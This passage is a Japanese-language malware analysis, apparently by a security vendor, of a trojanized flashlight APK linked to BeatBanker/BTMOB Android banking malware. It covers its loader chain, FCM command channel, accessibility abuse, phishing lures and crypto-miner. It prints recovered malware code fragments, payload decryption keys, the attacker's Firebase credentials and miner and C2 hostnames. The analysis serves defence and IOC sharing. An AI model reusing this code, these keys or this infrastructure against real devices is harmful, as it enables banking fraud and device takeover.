当社のAIエンジンNeutronが、UCバークレーのCyberGymベンチマークで96.75%のスコアを記録しました。 詳細を見る

セキュリティ

セキュリティ

BeatBanker/BTMOB Androidバンキングマルウェアの解析

懐中電灯アプリを装ったBeatBanker/BTMOB系Androidバンキングマルウェア、TV_V_23.apkの静的解析です。4段階の攻撃チェーン、解析妨害、帰属、IOCを解説します。

背景

2026年3月、当社の銀行顧客の一社から、モバイルアプリを利用する同行の顧客数名がAndroidマルウェアのサンプルによって侵害されたという報告を受けて、当社に連絡がありました。被害者が説明した挙動は、認証情報の窃取と、被害者自身の端末から発生した不正な取引の試みと一致しており、同行のモバイルアプリケーションが攻撃の焦点になっているように見えました。顧客は、LumoLightという懐中電灯ユーティリティとして被害者に配布されていた不審なAPKのコピーを当社に提供し、このマルウェアが何をするのか、どのような能力を持つのか、そしてどのように防御すべきかを明らかにするよう依頼しました。

本記事はその解析を記録したものです。当社の目的は、サンプルの能力の全体像を明らかにし、可能であれば既知の脅威アクターに帰属させることで、顧客の防御チーム、不正監視チーム、顧客向け注意喚起チームが正確な情報に基づいて対応できるようにすることでした。作業は純粋な静的解析として実施しました。APKと段階的に展開されるペイロードは、実行することなく展開、復号、リバースエンジニアリングしました。この手法は意図的に選んだものです。オペレーターに気づかれる可能性のある稼働中のC2との通信のリスクを避けられる一方で、判明させられることとできないことに一定の限界も生じます。この点は本レポートの後半で明示します。

エグゼクティブサマリー

TV_V_23.apkは、LumoLightという偽の懐中電灯アプリとして配布される、多段階のAndroidバンキングマルウェアプラットフォームです。無害なユーティリティの外見の裏で4段階のローダーチェーンを展開し、最終的には本格的なリモートアクセスツール(RAT)、隠れた暗号資産マイナー、稼働中のフィッシング配信エンジンをインストールします。これらはすべて、端末の脆弱性を一切悪用せずに行われます。

主な検出結果:

  • 能力:最終段階のペイロードにより、リモートのオペレーターは感染端末を完全に可視化し、制御できます。具体的には、画面のライブキャプチャ、あらゆるアプリ内(バンキングアプリを含む)でのリアルタイムのUI操作、SMS/OTPの傍受、フィッシングオーバーレイの配信、ファイルの持ち出しが可能です。

  • 標的設定はハードコードではなく実行時に設定可能:サンプルの静的解析により、APKには特定の銀行が埋め込まれていないことを確認しました。標的とする金融機関はオペレーターのコマンド&コントロール(C2)サーバーからいつでも送り込まれます。つまり、メッセージ1通で感染端末群全体にわたってあらゆる銀行を標的にできます。オペレーター側のC2インターフェースを示す一般公開された概念実証(PoC)動画が、独立した裏付けとなっています。この動画には、主要なモバイルバンキングアプリケーションのパッケージ名が登録された稼働中の標的リストが映っており、銀行を標的とする機能が理論上の能力ではなく、実環境で稼働しているこのプラットフォームの機能であることを裏付けています。

  • 並行した収益化:別のヘルパー段階が暗号資産マイナーをインストールし、バンキングの認証情報が取得できたかどうかにかかわらず、脅威アクターに収益をもたらします。

  • 帰属:インフラと振る舞いの指標から、このサンプルは公に報告されているBeatBanker / BTMOBキャンペーンクラスターに属すると高い確度で判断できます。

顧客にとっての結論:TV_V_23.apkがインストールされ実行されたすべての端末は、完全に侵害されたものとして扱う必要があります。下流のペイロードは元のローダーとは独立してインストールされ永続化するため、部分的な削除では信頼できません。また、標的設定はマルウェアに組み込まれているのではなくオペレーターが制御しているため、このサンプルに銀行固有のコンテンツが含まれていないからといって、顧客への脅威が収まったことを意味するわけではありません。同じインフラがいつでも標的を変更できます。

サンプルの特定

本レポートで解析したサンプルは、単一のAndroidアプリケーションパッケージです。その識別用メタデータを以下にまとめます。

項目 値
ファイル名 TV_V_23.apk
表示上のパッケージ com.bitmavrick.lumolight
SHA-256 5686a80c1e66c468cbc36fab816f8fa2a28538beddcc1f9846a1c1d6aaa2855c
MD5 6160d680280c07af0cbee782f423be2f
表示上のブランド LumoLight(懐中電灯/クイック設定ユーティリティ)
実際の目的 多段階のAndroidローダー、RAT、マイナーのドロッパー
関連キャンペーン BeatBanker / BTMOB(高い確度)

サンプルの配布方法:APKはソーシャルエンジニアリングを通じて被害者に届きました。具体的な配布経路は本レポートの対象外です。直接関係するのは偽装の選び方です。懐中電灯やクイック設定のユーティリティは警戒されにくいアプリケーションのカテゴリで、ユーザーが権限をよく確認せずにサイドロードすることが多いため、悪意のあるローダーの外側の包装として理想的でした。

初期トリアージで見つかった危険信号:本格的なリバースエンジニアリングに入る前の段階で、表面的な3つの観察結果だけで、このサンプルに完全な解析が必要であることを確認できました。

  • トロイの木馬化されたオープンソースアプリケーション:com.bitmavrick.lumolightパッケージは、公開されている懐中電灯プロジェクトBitMavrick/Lumolightをトロイの木馬化したフォークです。上流リポジトリのURLは、外側のAPK自体に今も埋め込まれています。攻撃者は偽のアプリケーションをゼロから作ったのではありません。動作する正規のコードベースを取得し、そのブランドと懐中電灯の機能を維持したまま、悪意のあるApplicationサブクラス、ネイティブローダー、ネイティブのみのアクティビティをその上に注入しました。インストールされたアプリは実際に懐中電灯として動作する(元の明るさ/フラッシュのUIとクイック設定タイルサービスはどちらも残っており機能する)ため、被害者が自然に行う確認、つまり「このアプリは説明どおりに動くか」に対する答えは安心できる「はい」となり、疑いはそこで止まります。

  • 懐中電灯と整合しない権限セット:マニフェストはREQUEST_INSTALL_PACKAGES、QUERY_ALL_PACKAGES、RECEIVE_BOOT_COMPLETEDを要求し、Firebase Cloud Messagingのコンポーネントを宣言しています。懐中電灯ユーティリティには、他のアプリケーションをインストールしたり、端末上のすべてのアプリを列挙したり、再起動後も動作し続けたり、プッシュ通知チャネルを維持したりする正当な理由はありません。どれか一つだけでも注目に値しますが、これらが揃っていることはユーティリティではなくローダーであることを示す決定的な特徴です。

  • 不審なassetsディレクトリの内容:assets/ディレクトリには、難読化されたファイル名を持つ高エントロピーのバイナリブロブが含まれていました。これは通常のアプリケーションリソース(画像、フォント、ローカライズ)ではなく、暗号化されたペイロードの段階的展開に関連する構造です。

これら3つの観察結果を総合すると、解析の問いは「これは悪意のあるものか」から「どのような種類の悪意で、どの程度の規模か」へと移りました。本レポートの残りの部分はその問いに答えるものです。

Stage 1:被害者との最初の接触:おとりアプリとネイティブブートストラップ

トロイの木馬化されたオープンソースのホストアプリケーション

外側のAPKは、公開されている懐中電灯プロジェクトBitMavrick/Lumolightを基に構築されています。正規のコードベースは無傷で機能しており、FlashTileActivity、LumolightTileService、ランチャーのMainActivityは設計どおりに動作します。

被害者に見えるLumoLightのUI。同じプロセス内で動作するマルウェアを隠す、機能する懐中電灯アプリケーション。

図1:被害者に見えるLumoLightのUI。同じプロセス内で動作するマルウェアを隠す、機能する懐中電灯アプリケーション。

攻撃者は、その上に4つの悪意のあるコンポーネントを注入しました。

  • com.bitmavrick.lumolight.LumolightApp:プロセスの初期化中に悪意のあるブートストラップを呼び出す、注入されたApplicationサブクラス

  • com.bitmavrick.lumolight.IonisedConvincing:libmetaspermousdevitrifiednoiseful.soのネイティブライブラリローダー

  • com.bitmavrick.lumolight.UnablyBrattain:ネイティブのみのアクティビティ

  • ランチャーのMainActivityへの改変。通常のアプリUIが初期化された直後にstartActivity(new Intent(this, UnablyBrattain.class))を呼び出し、ユーザーに見える懐中電灯の体験を妨げることなく、悪意のあるネイティブのみのアクティビティに制御を渡します。

AndroidManifest.xmlには、悪意のある権限と、隠されたcom.yqzg.parrnellのマニフェストコンポーネントが追加されていました。アプリは実際に懐中電灯として動作するため、被害者が自然に行う確認には安心できる「はい」が返ってきます。

ネイティブライブラリによるアプリケーションライフサイクルの乗っ取り

com.bitmavrick.lumolight.LumolightAppのattachBaseContextメソッドとonCreateメソッドは、UIが描画される前に呼び出される最も早いライフサイクルのエントリポイントであり、nativeとして宣言され、libmetaspermousdevitrifiednoiseful.soによって実装されています。Androidは制御をJavaではなくネイティブ実装に渡します。難読化されたライブラリ名自体もささやかな解析妨害のシグナルであり、既知の悪意のあるライブラリ名とのキーワード照合を避けるために選ばれています。

同じパターンはStage 3でも再び現れます。ヘルパーAPK(com.sywo.chelingas、Stage 3)はまったく同じネイティブへの引き渡しパターンを使用していますが、維持すべき正規のコードがないため、そのApplicationサブクラスにはSystem.loadLibraryの呼び出しと2つのnativeメソッド宣言しか含まれていません。

// APK: com.sywo.chelingas (Stage 3 helper)
// JADX source: sources/pjOZQC/c6xmV4.java
//
// Shown here as evidence that Stage 1's native-handoff architecture
// is a deliberate, reused pattern across the malware's stages — not a
// one-off. The helper's Application class contains no Java logic;
// both lifecycle methods are declared 'native' and implemented
// entirely inside liblixhokfsmav.so, invisible to JADX.

public class c6xmV4 extends Application {

    public Object eeHugaithaikuu9u = null;

    static {
        System.loadLibrary("lixhokfsmav");
    }

    @Override
    public native void attachBaseContext(Context context);

    @Override
    public native void onCreate();
}

Stage 1では引き渡しが正規のクラス階層に注入されており、Stage 3では専用に作られた殻になっています。意図は同じです。重要なロジックをネイティブコードに押し込み、Javaレイヤーの静的解析が届かないところに置くことです。

暗号化されたペイロードの段階的展開

ネイティブブートストラップは、APKのassets/ディレクトリにある2つのブロブを復号します。どちらの暗号ルーチンもネイティブライブラリ内にあり、読み取り可能なJavaクラスには公開されていません。以下の詳細は、外側のAPKのソースからではなく、段階的に展開されたペイロードのアーティファクトから復元したものです。

アセットのパス 暗号方式 生成物
vyh3u73x8mp5elng 繰り返しXOR ブートストラップDEX(stage1_bootstrap_loader.dex、SHA-256 58e39152...)
s3h8m8q8kb38a4iy/ksqzvp1v AES-CBC/PKCS5Padding、鍵 = SHA-1(basename)[:16]、ゼロIV 隠されたオーケストレーターAPK(com.yqzg.parrnell)

ブートストラップDEXは、親クラスローダーのdexElements配列をリフレクションで操作すること(新しいAPIレベルではmakeInMemoryDexElements)により、復号したオーケストレーターをメモリに読み込みます。これはStage 3のヘルパーで直接確認されたのと同じパターンです。オーケストレーターAPKが、スキャン可能な形でディスクに書き込まれることはありません。

通常のAndroidのワークフローが依存するすべてのエントリポイントは、正規のコードに置き換えられているか、ネイティブコードに押し込まれています。ARMのリバースエンジニアリングに踏み込む気のない人は、見当違いのレイヤーを見ていることになります。

Stage 2:隠されたオーケストレーター:永続化とクラウド経由の制御の確立

Firebase Cloud Messagingによるクラウド接続

オーケストレーターは、脅威アクターが管理するFirebaseプロジェクトに自身を登録します。設定はStage 2に難読化された形で埋め込まれています。com.yqzg.parrnell.AppがApplicationId、ApiKey、gcmSenderId、storageBucket、projectIdを持つJQHWyjC66EcSxmVdbeオプションオブジェクトを構築し、uvddntLtzpPJk8Xjs5.javaがそれを使って実行時にデフォルトのFirebaseアプリを初期化します。同じ設定は、復元された最終ヘルパーDEX(Stage 3)にも平文で含まれています。両方の段階がそれぞれ独立して設定を保持しています。

項目 値
Firebase App ID 1:39848184100:android:c44d4f602ecf40683bcbb1
Firebase APIキー AIzaSyDDRPszQIVKnbIBw9nZuuhferi4-I0xwXU
Firebase Sender ID 39848184100
Firebaseプロジェクト waking-21b04
Firebaseバケット waking-21b04.firebasestorage.app
テレメトリホスト https://aptabase.jesfeoqrj3.xyz:8443

Firebase Cloud Messaging(FCM)は、一般的なアプリケーションがプッシュ通知の配信に使用する正規のGoogleサービスです。FCMをコマンドチャネルとして使うことで、オペレーターは3つの利点を同時に得ます。

  • トラフィックが紛れ込む:FCMのメッセージはGoogleのインフラを経由し、ネットワークログには日常的な通知トラフィックとして表示されるため、ペイロードレベルの検査なしでは正規のアプリケーションの挙動とほとんど区別できません。

  • バックグラウンドや休止状態の端末にも確実に届く:Androidはアプリが実行中でなくてもFCMのプッシュを配信するため、オペレーターは感染端末をいつでも起動できます。

  • 主要な起動経路にオペレーターが管理するドメインが不要:感染端末が接続する先は攻撃者のインフラではなくfcm.googleapis.comです。そのため、境界での単純なドメインのブロックリストによる防御では、このチャネルを断ち切るには不十分です。

顧客のSOCチームと不正検知チームにとって、ここが対応につながるポイントです。FCMベースのC2は、正規のアプリを壊さずにネットワークエッジでブロックすることはできません。検知は、ネットワークレイヤーのフィルタリングではなく、エンドポイント上で振る舞いのシグナル(例:予期しないFCM登録を持つアプリ、ユーザーに見える通知のないパッケージが受信したFCMプッシュ)を通じて行う必要があります。

永続化

FCMへの登録が確立されると、オーケストレーターは標準のAndroidインテントandroid.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONSをpackage:データURIとともに使用して、バッテリー最適化の除外を要求します(com.yqzg.parrnell.MainActivityの356行目で確認)。この権限は標準のシステムダイアログを通じて付与されます。付与されると、Androidはオーケストレーターのバックグラウンドプロセスを積極的に終了しなくなります。

下流のペイロードの展開

オーケストレーターは、自身のassets/ディレクトリにインストーラーバンドルを保持しています。その中身は下流のAPKそのものではなく、インストーラーエンジンとネイティブライブラリです。

アセット 目的
stage2_installer_bundle.zip → plectrumsplanchnomegalia(約4.6 MBのDEX) インストーラーエンジン。下流のインストールを駆動する大きな埋め込みDEX
stage2_installer_bundle.zip → arm64-v8a / armeabi-v7a インストーラーに同梱された、ABIに合わせたネイティブライブラリ
stage2_installer_assets.zip 偽のセットアップ/アップデート画面のUIアセットと、output8.mp3(後にStage 3のヘルパーがメディアループによるキープアライブの仕組みに使用)

下流のAPKは、主要な経路としてC2からその場で取得されるのではなく、外側のAPKのassets内に暗号化された形でローカルに置かれ、インストーラーに渡されます。com.yqzg.parrnell.JTcvL0wHeDQ3LLur9W(24行目)は、ローカルのコンテナ(xylograph)を復号・展開し、そこからインストーラーエンジンを読み込み、段階的に展開するペイロードのアセットを指定するローカルの設定ブロブ(franker / ununanimouslynasoscope)を選択します。復元した設定は、それらを具体的なアセットのセットに対応付けています。

  • connector.predictor.messenger ← アセットpicaroons、pellagroid、gaitskell(3つの分割APKコンポーネント)
  • com.sywo.chelingas ← アセットnonsignatoriesyferre

com.yqzg.parrnell.JoDPj5ySc7Q56tJgl3には、代替または補助のチャネルとして別のHTTPダウンローダーが存在しますが、このサンプルでは主要な配信の仕組みではありません。

インストール中のソーシャルエンジニアリングによる偽装

オーケストレーターは下流のペイロードを黙ってインストールするわけではありません。偽のセットアップ画面やアップデート画面を表示してインストール中の被害者の注意を引きつけ、Stage 4が次に行う権限要求(アクセシビリティ、画面キャプチャ、SMSの読み取り)を当たり前のものに見せかけます。正規の「システムアップデート」のように見えるものが完了するのを見届けたばかりのユーザーは、昇格した権限のプロンプトを受け入れやすい状態になっています。

偽のアップデート画面。下流のペイロードがバックグラウンドでインストールされている間に、オーケストレーターが被害者に表示するソーシャルエンジニアリング用のUI。

図2:偽のアップデート画面。下流のペイロードがバックグラウンドでインストールされている間に、オーケストレーターが被害者に表示するソーシャルエンジニアリング用のUI。

Stage 2は、マルウェアが「インストールされた」状態から「制御可能で永続化し、本命のツールを展開できる態勢にある」状態へと移行する段階です。事後に妨害することを難しくしている特徴が3つあります。FCMのC2はネットワークエッジでブロックできないこと、バッテリー最適化の除外が正規の未修正のダイアログを通じて付与されること、そして下流のペイロードが独立したAPKとしてインストールされるため、オーケストレーターを削除してもそれらは削除されないことです。

Stage 3:ヘルパーペイロード:キープアライブエンジンとマイナーの配信

Stage 1と同じネイティブへの引き渡しアーキテクチャ

ヘルパーAPK(com.sywo.chelingas)はまったく同じパターンを使用しています。ライフサイクルメソッドがネイティブライブラリ(liblixhokfsmav.so)にあるApplicationサブクラスで、意味のあるJavaのロジックはありません。これはStage 1で示したc6xmV4.javaであり、このパターンが単一のコンポーネントの特徴ではなく、再利用されている設計上の選択であることを裏付けています。

2段階のインメモリDEX読み込み

ヘルパーは、中間のブートストラップDEXを経由して最終ペイロードを展開します。

  • ネイティブライブラリが、64文字の繰り返しASCII鍵8HqIe8TtMjtOpehmPZrAhrVbnIjZhkx3tcR720hfXQYeD7XQzeuhpdeTQ3SuM3Ap(PBKDF2のパスフレーズではなく、バイト列としてそのまま使用)を使ってアセット0DvdX3nFjtHAUApkをXORで復号し、中間のブートストラップDEX(SHA-256 7583ae8a...)を生成します。

  • ブートストラップDEXのcom.example.virusscanbypassbootstrapper.DexLoader(目的をそのまま表すクラス名)が、2つ目のアセット4qZE2YiJUkIj2a2a/RioFpQvIを、SHA-1("RioFpQvI")[:16](パスのベース名)として導出した16バイトの鍵とすべてゼロのIVを用いたAES/CBC/PKCS5PaddingでAES復号し、ZIPアーカイブを生成します。

  • ZIPには最終ヘルパーDEX(classes.dex、SHA-256 79aba8d3fad2...)が含まれており、クラスローダーへのパッチ適用によって直接メモリに読み込まれます(API < 26ではDexClassLoader、API ≥ 29ではmakeInMemoryDexElementsを使用し、親クラスローダーのdexElements配列のリフレクションによる操作と組み合わせます)。

チェーン全体が、最終DEXをディスク上の予測可能な場所に書き込むことなく実行されるため、標準のアプリケーションストレージのパスでAPKやDEXファイルを探すスキャナーをかわすことができます。

最終ヘルパーDEXは2つのことを行います。偽のシステムアップデートを装うフォアグラウンドサービスによる永続化と、ダウンロードしたネイティブバイナリによる暗号資産マイニングです。

偽のシステムアップデート通知による永続化

ヘルパーはAndroidのフォアグラウンドサービスとして登録されます。これは、通知を表示する代わりにバックグラウンドで無期限に実行できる正規の仕組みです。通知はシステムメッセージに偽装されています。

項目 値
通知のタイトル Update Now
通知の本文 The system is being updated, please keep the phone on.

この文言は実際に効果を発揮しています。ユーザーはシステムアップデートを中断しないよう習慣づけられており、アップデートを閉じることには危険が伴うように感じます。そして「please keep the phone on(電源を入れたままにしてください)」という文言は、永続化を最も直接的に脅かす2つの行動(通知をスワイプして消すこと、端末の電源を切ること)を思いとどまらせます。

通知の背後で、サービスはさらに2つのキープアライブの仕組みを維持しています。output8.mp3(Stage 2のインストーラーアセットZIPで同梱)をループ再生してプロセスがメディアを再生中であると分類されるようにし、ライフサイクルの優先度を引き上げます。また、Androidのウェイクロックを定期的に再取得してCPUがスリープしないようにします。これらを組み合わせることで、Androidは画面の状態、非アクティブ状態、メモリの逼迫にかかわらず、プロセスを自発的に終了しなくなります。

暗号資産マイナーの展開

永続化と並行して、ヘルパーはオペレーターのインフラから暗号化された暗号資産マイナーのバイナリをダウンロードし、端末上で復号してローカルストレージに書き込み、ネイティブの子プロセスとして実行します。以下の復元したコードは、マイナーのプロセスが起動され、その標準出力がパフォーマンス指標のために監視される様子を示しています。

// APK: com.sywo.chelingas — recovered final helper DEX
// JADX source: sources/com/google/worker/work/a.java (inner class b.run(), lines 36–62)
//
// After writing the decrypted miner binary to disk and making it executable,
// the helper launches it as a child process and monitors its stdout in a
// background thread. Miner output lines are parsed for performance metrics.
// The method k() handles cleanup if the process terminates unexpectedly.

public void run() {
    try {
        String[] strArrG = a.this.g();   // builds argv: [-o pool, -k key, --tls, --no-color]
        File fileF = a.this.f();          // returns the dropped worker executable path
        a aVar = a.this;
        aVar.a = aVar.i(fileF, strArrG); // launches the miner process via ProcessBuilder
        Scanner scanner = new Scanner(a.this.a.getInputStream());
        while (!Thread.interrupted() && scanner.hasNextLine()) {
            String strNextLine = scanner.nextLine();
            t.a(strNextLine);             // telemetry: reports mining output upstream
            Log.v(..., strNextLine);      // raw miner output logged at verbose level
        }
    } catch (Exception e) {
        Log.e(..., "worker error: " + e);
    }
    a.this.k();   // cleanup / restart on termination
}

マイナーに渡されるコマンドラインフラグ(-o、-k、--tls、--no-color)はXMRigの標準CLIと一致しており、マイナーがXMRigまたはそれに近いフォークで、Monero互換のプールに対して動作していることを強く示唆しています。

復元したマイナーのインフラの全体像は次のとおりです。

コンポーネント 値
マイナーのバイナリ名 libmine-arm64.so / libmine-arm32.so
マイナーのダウンローダー https://accessor.fud2026.com/, https://accessor.fud2026.org/
マイニングプール pool.fud2026.com, pool.fud2026.com:8443
マイニングプールのプロキシ pool-proxy.fud2026.com:8443
テレメトリホスト https://aptabase.khwdji319.xyz:8443
テレメトリのアプリキー A-SH-2776504097

fud2026.*のドメインクラスターは単なる運用インフラではなく、BeatBankerキャンペーンクラスターについて公に報告されている指標にも含まれています(「帰属」を参照)。暗号資産マイニングのコンポーネントは脅威アクターの運用に組み込まれた一部であり、サードパーティのアドオンではありません。

顧客にとっての示唆は2つあります。第一に、オペレーター用ペイロードとは異なり、暗号資産マイナーには避けられない物理的な症状(バッテリー消費の増加、発熱、アイドル時のCPU使用率)があります。それ以外は正常な端末について、原因不明のバッテリーや発熱の問題が顧客から報告された場合、バンキング不正の指標とは独立した二次的なトリアージのシグナルとして利用できます。第二に、マイニングはバンキングでの成果にかかわらずすべての感染端末から収益を生むため、オペレーターには価値の高い標的を厳選する動機がありません。感染の広がりそのものが利益になり、それがキャンペーンへの継続的な投資を正当化しています。

Stage 4:オペレーター用ペイロード:アクセシビリティの悪用、画面キャプチャ、稼働中のC2

Stage 4は、人間のオペレーターが直接操作するコンポーネントです。Stage 3が受動的な収益のために黙って動作するのに対し、Stage 4は対話型のリモートアクセスプラットフォームです。被害者をリアルタイムで監視し、価値の高い瞬間(バンキングアプリがフォアグラウンドにある、認証情報の入力を求められている、OTPが届いた)を待ち、オペレーターがそれらの瞬間をその場で見て、傍受し、操作できるようにします。使用する能力はすべて、技術的なエクスプロイトではなく、被害者が付与した権限を通じて提供されます。

インストール、永続化、権限昇格

オペレーター用ペイロードは分割APKセットとして配信されます。ベースAPK、コード分割のDEX APK、リソース分割APKで構成されます。これはGoogle Playストアを通じて公開されるアプリが使用する配布形式であり、見かけ上の正当性を一段と高め、ペイロードを単一のアーティファクトとして取り出すことを難しくしています。

起動時の永続化:マニフェストは、BOOT_COMPLETED、QUICKBOOT_POWERON、com.htc.intent.action.QUICKBOOT_POWERON、REBOOT、ACTION_SHUTDOWNに対して登録されたBootReceiver(connector.predictor.messenger.BootReceiver)を宣言しています。起動時に、レシーバーはユーザーが画面のロックを解除する前にフォアグラウンドサービスを開始します。ロック画面が表示される頃には、マルウェアはすでに実行されC2に接続しています。

権限マニフェスト:ペイロードは、オペレーター用ツールキット全体を反映した広範な権限セットを要求します。

権限 運用上の目的
READ_SMS OTPの傍受、バンキングの2FAのバイパス
CAMERA 端末のカメラへのアクセス
MANAGE_EXTERNAL_STORAGE ファイルの検索と持ち出し
WRITE_EXTERNAL_STORAGE (maxSdk=29) 旧バージョンのAndroidでのファイル書き込み
READ_EXTERNAL_STORAGE (maxSdk=32) 旧バージョンのAndroidでのファイル読み取り
REQUEST_INSTALL_PACKAGES 追加のペイロードを密かにインストール
REQUEST_DELETE_PACKAGES 競合するアプリの削除や痕跡の隠蔽
QUERY_ALL_PACKAGES インストール済みアプリを列挙して標的を特定
FOREGROUND_SERVICE 永続的なバックグラウンドサービスの実行
FOREGROUND_SERVICE_MEDIA_PROJECTION 永続的な画面キャプチャサービス
FOREGROUND_SERVICE_DATA_SYNC 永続的なデータ同期サービス
FOREGROUND_SERVICE_SPECIAL_USE 予約済みのフォアグラウンドサービス種別
FOREGROUND_SERVICE_SYSTEM_EXEMPTED システム除外のフォアグラウンドサービスクラス
POST_NOTIFICATIONS 通知の表示(Android 13以降で必須)
VIBRATE 端末の振動(フィッシング用ロック画面を補助)
FLASHLIGHT カメラのフラッシュの制御
INTERNET ネットワーク通信
ACCESS_WIFI_STATE / ACCESS_NETWORK_STATE ネットワーク状態に応じた挙動
WAKE_LOCK 画面の状態にかかわらずCPUを動作させ続ける
REQUEST_IGNORE_BATTERY_OPTIMIZATIONS OSによるバックグラウンドサービスの終了を防止
USE_EXACT_ALARM / SET_ALARM 正確な起動イベントのスケジュール
DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION(カスタム) 内部レシーバーを外部からの呼び出しから保護

運用上決定的な2つの権限、アクセシビリティサービスと画面キャプチャは、マニフェストだけでは付与されません。どちらも、ユーザーがシステムレベルのUIを通じて有効化する必要があります。ルアーキットはそれらを手に入れるために存在します。

ルアーキット:権限獲得の手段としてのソーシャルエンジニアリング

ペイロードには、HTMLで作られた偽画面のセットが埋め込まれており、APK内に暗号化して保存され、実行時にデコードされます。

  • 偽のアクセシビリティ設定ガイド(acs_mi、acs_sm、acs_els):必要なセットアップであるかのように見せかけ、悪意のあるアクセシビリティサービスを有効化する手順へと被害者を誘導
  • 偽のVPN必須画面(vpn_required):緊急性を演出し、本来なら疑わしいアクセスを正当化
  • 偽のアップデートと初期化のフロー(up_require、launcher、s1s2s3s4):下流のコンポーネントのインストール中に疑いを和らげる
  • 認証情報の取得(1.decoded):信頼されたサービスに似せたスタイルの汎用フォーム
  • PINとパスワードのロック画面(2.decoded、3.decoded):端末のロック解除の認証情報を傍受したり、フィッシングのフローを配信したりする

偽のアクセシビリティ有効化画面。悪意のあるアクセシビリティサービスを有効化させるために被害者に表示されるソーシャルエンジニアリング用のページ。

図3:偽のアクセシビリティ有効化画面。悪意のあるアクセシビリティサービスを有効化させるために被害者に表示されるソーシャルエンジニアリング用のページ。

偽のアプリアップデート/VPN必須/読み込みのフロー。被害者の信頼を維持し、権限を持続させる口実を作るために使われる二次的なルアー画面。

図4:偽のアプリアップデート/VPN必須/読み込みのフロー。被害者の信頼を維持し、権限を持続させる口実を作るために使われる二次的なルアー画面。

これは単一のプロンプトではなくワークフローです。マルウェアはすべてを一度に要求するわけではありません。正規に見えるセットアップ画面で信頼を獲得し、付与するのが自然に感じられる文脈でアクセシビリティを要求し、アクセシビリティを使ってその後の要求を通りやすくします。直接のアクセシビリティのプロンプトなら拒否する被害者でも、定型的なアップデートのフローの4番目の手順としてであれば、はるかに付与しやすくなります。

アクセシビリティの悪用によってオペレーターが実際に得るもの

被害者が悪意のあるアクセシビリティサービスを有効にすると、端末上の力関係が変わります。AndroidのアクセシビリティAPIは正規の用途(スクリーンリーダー、スイッチアクセスツール)のために設計されていますが、それが公開する能力、つまり任意のUI要素の読み取り、任意のタッチのシミュレーション、キーイベントの傍受は、まさにリモートのオペレーターが必要とするものです。復元したサービス設定は、最大限の範囲を要求しています。

能力 値
イベントの取得 typeAllMask(端末上のすべてのUIイベント)
パッケージフィルター なし(制限なし。すべてのアプリを同等に監視)
ウィンドウの内容を取得可能 true
ジェスチャーを実行可能 true
スクリーンショットを取得可能 true
キーイベントのフィルタリングを要求可能 true
フラグ flagRetrieveInteractiveWindows, flagReportViewIds, flagRequestEnhancedWebAccessibility, flagRequestTouchExplorationMode, flagIncludeNotImportantViews, flagDefault

(出典:res/xml/aujijdshciyxu.xml)

これは端末の監視と遠隔操作のための完全な基盤です。オペレーターは、あらゆるUI要素を読み取り、任意のボタンをタップし、任意のフォームを送信し、キー入力を傍受し、スクリーンショットを取得できます。しかもそのすべてを、堅牢化されたバンキングアプリを含むあらゆるアプリケーションの内部で行えます。

標的設定のロジック

サービスはフォアグラウンドのアプリの切り替わりを監視し、新たにアクティブになったアプリを標的リストと照合します。

// APK: connector.predictor.messenger — split DEX
// JADX source: connector/predictor/messenger/posvvhbqnqa.java
//
// Note: Analytical abstraction — obfuscated rf0.a() calls replaced with decoded values.
//
// On every foreground app transition, the accessibility service checks two conditions:
// (1) tracking is enabled in shared preferences (re.e0), and
// (2) the runtime target map (s.i / s.j / s.k) has at least one entry.
// If both are true, it iterates the target map comparing the current
// foreground package name and browser URL against stored target values.
// When mode 'G' (phishing/monitoring activation) matches, t() is called
// to trigger the next stage of the attack against that specific app.

if (((r00.c(getApplicationContext(), re.e0, false) && s.h.size() > 0)
        || r00.c(getApplicationContext(), /* ... */, false)) && r9 != 0) {
    for (Map.Entry entry : s.i.entrySet()) {
        String str17 = (String) entry.getKey();
        str10 = (String) entry.getValue();    // ltrk: URL/domain tracker value
        str11 = (String) s.j.get(str17);      // itrk: package name to match
        str12 = (String) s.k.get(str17);      // ityp: activation mode
        if (s.B0(str16.toLowerCase(), str10)
                || (str11 != null && str11.toLowerCase().equals(str15))) {
            if (str12.equals(/* "G" */)) { // mode 'G' = active phishing
                if (!a0()) {
                    t(getApplicationContext(), this); // trigger phishing/interaction flow
                }
            }
            // else-branch: passive monitoring mode — captures the foreground app's
            // 144×144 icon, encodes it as PNG, and schedules a Timer task (new e(...))
            // after an 800ms delay to report the foreground-app transition upstream.
        }
    }
}

少なくとも2つの起動モードが存在する

モードGは能動的なフィッシングを起動します。elseブランチは受動的な監視モードです。フォアグラウンドのアプリが切り替わるたびに(フィッシングの標的だけでなくあらゆるアプリで)、サービスはそのアプリの144×144のアイコンをPNGとして取得し、遅延させた報告をスケジュールします。オペレーターは、能動的なフィッシングのリストとは無関係に、被害者がどのアプリを使っているかを継続的に把握できます。

標的マップはハードコードではなく実行時に設定される

バンキングアプリケーションのパッケージ名の静的なリストは、サンプルのどこからも復元されませんでした。マップs.i、s.j、s.kは、オペレーターが標的の定義を送り込むまで空のままです。復元したC2コマンドディスパッチャー(d0.java、コマンドケース4)がその仕組みを示しています。

// APK: connector.predictor.messenger — split DEX
// JADX source: sources/connector/predictor/messenger/d0.java (L1271–1284)
//
// C2 command case 4: the operator sends a JSON object containing
// ntrk (tracker ID), ltrk (URL/domain), itrk (package name), and ityp (mode).
// The connector immediately inserts these values into the live target maps,
// enabling real-time retargeting to any application without requiring
// a new APK or any action from the victim.

String strOptString5 = jSONObject.optString(/* "ntrk" */, "");
String strOptString6 = jSONObject.optString(/* "ltrk" */, "");
String strOptString7 = jSONObject.optString(/* "itrk" */, "");
String strOptString8 = jSONObject.optString(/* "ityp" */, "");
if (strOptString8.equals(/* "G" */)) {
    posvvhbqnqa.x.add(strOptString7.toLowerCase()); // add package to active watch list
}
s.K(strOptString5, strOptString6); // store tracker value
s.H(strOptString5, strOptString7); // store package name
s.I(strOptString5);                // initialize tracking state
s.J(strOptString5, strOptString8); // store activation mode
r00.f(d0.h, re.e0, true);          // set tracking_enabled = true in shared prefs

Firebaseを経由する2つ目の並行した経路も存在します。サービス起動時のハンドラー(hhmpmwbx.java)が、FirebaseのタスクペイロードからTRKフィールドを読み取り、各エントリをBase64デコードして、同じ標的の構造体に格納します。配信チャネルは2つあり、互いに独立しています。対話型(WebSocket)と、ブロードキャスト型(FCM。感染端末群全体に一度に届けられる)です。

// APK: connector.predictor.messenger — split DEX
// JADX source: sources/connector/predictor/messenger/hhmpmwbx.java
//
